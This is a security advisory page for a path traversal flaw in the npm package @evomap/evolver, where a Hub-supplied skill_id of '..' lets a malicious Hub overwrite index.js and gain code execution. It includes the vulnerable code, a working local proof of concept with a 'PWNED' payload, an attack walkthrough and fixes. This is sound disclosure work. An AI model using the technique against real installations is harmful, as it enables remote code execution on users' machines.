GHSA-cfcj-hqpf-hccf: @evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)
Noroxi assessment
Priority: Monitor (action score 35/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. A user must open a link or visit a page. No special conditions are required; it is repeatable.
- Fixed version: @evomap/evolver (npm) 1.70.0-beta.5.
Low priority for now. Upgrade to @evomap/evolver (npm) 1.70.0-beta.5 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary The `evolver fetch` subcommand in `index.js` writes Hub-supplied `bundled_files[]` into a directory derived from a Hub-supplied `skill_id`. When `--out` is not used, the path-sanitizing regex permits `.` characters, allowing a `skill_id` of `..` to escape the `skills/` subdirectory and resolve to the user's current working directory. Combined with the file-extension allow-list (which includes `.js`/`.json`/`.sh`/`.py`/`.md`), this lets a malicious Hub overwrite the victim's `index.js`, `package.json`, or other files in cwd, achieving remote code execution on the next invocation of the evolver. ## Details The vulnerable code is in the `fetch` command handler: ```js // index.js:847-873 const data = await resp.json(); const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out=')); const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_'); let outDir; if (outFlag) { const rawOut = outFlag.slice('--out='.length); // ... const resolvedOut = path.resolve(process.cwd(), rawOut); const cwd = path.resolve(process.cwd()); const rel = path.relative(cwd, resolvedOut); if (rel.startsWith('..') || path.isAbsolute(rel)) { // <-- traversal check exists for --out console.error('[fetch] --out= must resolve to a path inside the current working directory'); process.exit(1); } outDir = resolvedOut; } else { outDir = path.join('.', 'skills', safeId); // <-- NO traversal check } if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true }); ``` Three problems compose: 1. **The regex allow-list permits `.`** — `[^a-zA-Z0-9_\-\.]` only strips characters *outside* this set, so the literal dot is preserved. A `skill_id` of `..` (verified: `'..'.replace(/[^a-zA-Z0-9_\-\.]/g,'_') === '..'`) survives sanitization. 2. **`path.join` collapses `..` traversal** — `path.join('.', 'skills', '..')` evaluates to `'.'` (the cwd), so `outDir` is now the user's working directory rather than `./skills/<id>`. 3. **The traversal validation only runs in the `--out` branch** — the default branch (the documented common case for `evolver fetch --skill <id>`) has no `path.relative(...).startsWith('..')` check. The bundled-files write loop: ```js // index.js:881-906 const ALLOWED_SKILL_EXTENSIONS = new Set([ '.js', '.mjs', '.cjs', '.ts', '.json', '.md', '.txt', '.sh', '.py', '.yml', '.yaml', ]); // ... for (const file of bundled) { if (!file || !file.name || typeof file.content !== 'string') continue; const safeName = path.basename(file.name); // basename of "index.js" is "index.js" const ext = path.extname(safeName).toLowerCase(); if (!ALLOWED_SKILL_EXTENSIONS.has(ext)) { /* skip */ continue; } if (Buffer.byteLength(file.content, 'utf8') > MAX_SKILL_FILE_BYTES) { /* skip */ continue; } fs.writeFileSync(path.join(outDir, safeName), file.content, 'utf8'); } ``` `path.basename` strips directory components from the *file name*, but a basename of `index.js` is still `index.js`. The extension allow-list contains `.js`, so an attacker can write `./index.js` (the evolver entry point itself), `./package.json`, `./SKILL.md`, etc. There is no signature verification on the Hub response. `buildHubHeaders()` only authenticates the *outgoing* request; the response body is trusted as-is. The Hub stores skills uploaded by network participants, so any participant who can set a stored `skill_id` field to `..` triggers this on every download. ## PoC Reproduces the exact code path from `index.js:849-905`: ```bash cd /tmp && rm -rf evolver-poc-validate && mkdir evolver-poc-validate && \ cp /path/to/EvoMap-evolver-src/index.js evolver-poc-validate/ cd evolver-poc-validate wc -l index.js # 1098 index.js (legitimate) node -e " const fs=require('fs'),path=require('path'); const data={ skill_id:'..', content:'x', bundled_files:[{name:'index.js',content:'#!/usr/bin/env node\nconsole.log(\"PWNED\");'}] }; const safeId=String(data.skill_id||'x').replace(/[^a-zA-Z0-9_\-\.]/g,'_'); const outDir=path.join('.','skills',safeId); console.log('safeId:',JSON.stringify(safeId)); // '..' console.log('outDir:',JSON.stringify(outDir)); // '.' if(!fs.existsSync(outDir))fs.mkdirSync(outDir,{recursive:true}); for(const f of data.bundled_files){ const n=path.basename(f.name); fs.writeFileSync(path.join(outDir,n),f.content); }" wc -l index.js # 1 index.js (clobbered) head -3 index.js # #!/usr/bin/env node # console.log("PWNED"); ``` Verified output: 1098 → 1 line; the legitimate evolver entry point is replaced with attacker-controlled JavaScript. Any subsequent `node index.js <command>` (including the `--loop` daemon mode that users run continuously) executes the attacker payload. End-to-end attack: 1. Attacker uploads a skill to the A2A Hub whose stored `skill_id` is `..` (or operates a malicious Hub / MitMs the connection / supplies a malicious `A2A_HUB_URL`). 2. The malicious response also carries `bundled_files: [{name: 'index.js', content: '<attacker JS>'}]`. 3. Victim runs `node index.js fetch --skill=anything` from the evolver checkout (the documented usage). 4. `./index.js` is overwritten in place. 5. Victim's next `node index.js` invocation — even just `node index.js --help` or the `run --loop` daemon — executes attacker code with the victim's privileges. ## Impact - **Remote code execution** in the victim's environment with the privileges of the evolver process. Because the loop daemon (`node index.js run --loop`) is the documented long-running mode, the malicious code typically gets executed within seconds of the next iteration. - Attacker can also overwrite `package.json` (allowed extension), `SKILL.md`, `.env`-adjacent `.json`/`.yaml`/`.yml` config files, and any whitelisted file already present in the cwd. - Trust boundary violation: `evolver fetch` is presented as a *download* operation; users would not expect it to overwrite the application binary or project files. The `--out` branch was hardened against exactly this; the default branch was missed. - A single malicious skill upload compromises every user that fetches it. ## Recommended Fix Reject `safeId` values that are not single non-traversing path segments before joining, or reuse the same `path.relative` check used in the `--out` branch. Minimal patch around `index.js:849`: ```js const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_'); if ( safeId === '' || safeId === '.' || safeId === '..' || safeId.includes('/') || safeId.includes('\\') || safeId.includes('\0') ) { console.error('[fetch] Hub returned an invalid skill_id: ' + JSON.stringify(safeId)); process.exit(1); } ``` Defense in depth — apply the existing traversal check to the default branch as well: ```js } else { const candidate = path.resolve(process.cwd(), 'skills', safeId); const skillsRoot = path.resolve(process.cwd(), 'skills'); const rel = path.relative(skillsRoot, candidate); if (rel.startsWith('..') || path.isAbsolute(rel)) { console.error('[fetch] Hub returned a skill_id that escapes the skills/ directory'); process.exit(1); } outDir = candidate; } ``` Additionally, consider: - Removing `.` from the regex allow-list (skill IDs typically don't need dots). - Verifying a Hub-supplied signature over the response payload before writing any file to disk. - Disallowing bundled-file `safeName` values that match top-level project files (`index.js`, `package.json`, `package-lock.json`, etc.) regardless of `outDir`.
- Published
- May 5, 2026
- Updated
- May 5, 2026
- EPSS
- —
- CWE
- CWE-73
Report tools
Action score
35
Low priority for now.
- CVSS
- 35 / 40 · 8.8 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| npm | @evomap/evolver | pkg:npm/%40evomap/evolver |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| npm | @evomap/evolver | before 1.70.0-beta.5 | 1.70.0-beta.5 |
Same product
npm: all recordsOther highest-scoring records for the same primary product.
- GHSA-jxh8-jh77-xh6g@evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts32Monitor
- GHSA-7xp7-m392-h92c@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS24Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| npm:@evomap/evolver | 1.70.0-beta.5 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- A user must open a link or visit a page.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- high · the service can be disrupted
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- High
Weakness class (CWE)
CWE-73 · External Control of File Name or PathCVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Subverting Environment Variable ValuesCAPEC-13likelihood: High · Very High
- Leverage Alternate EncodingCAPEC-267likelihood: High · High
- Using Slashes and URL Encoding Combined to Bypass Validation LogicCAPEC-64likelihood: High · High
- URL EncodingCAPEC-72likelihood: High · High
- Manipulating Web Input to File System CallsCAPEC-76likelihood: High · Very High
- Using Escaped Slashes in Alternate EncodingCAPEC-78likelihood: High · High
- Using Slashes in Alternate EncodingCAPEC-79likelihood: High · High
- Using UTF-8 Encoding to Bypass Validation LogicCAPEC-80likelihood: High · High
Change log (1)
- Fix✗ → ✓
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References
Show all references (1 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.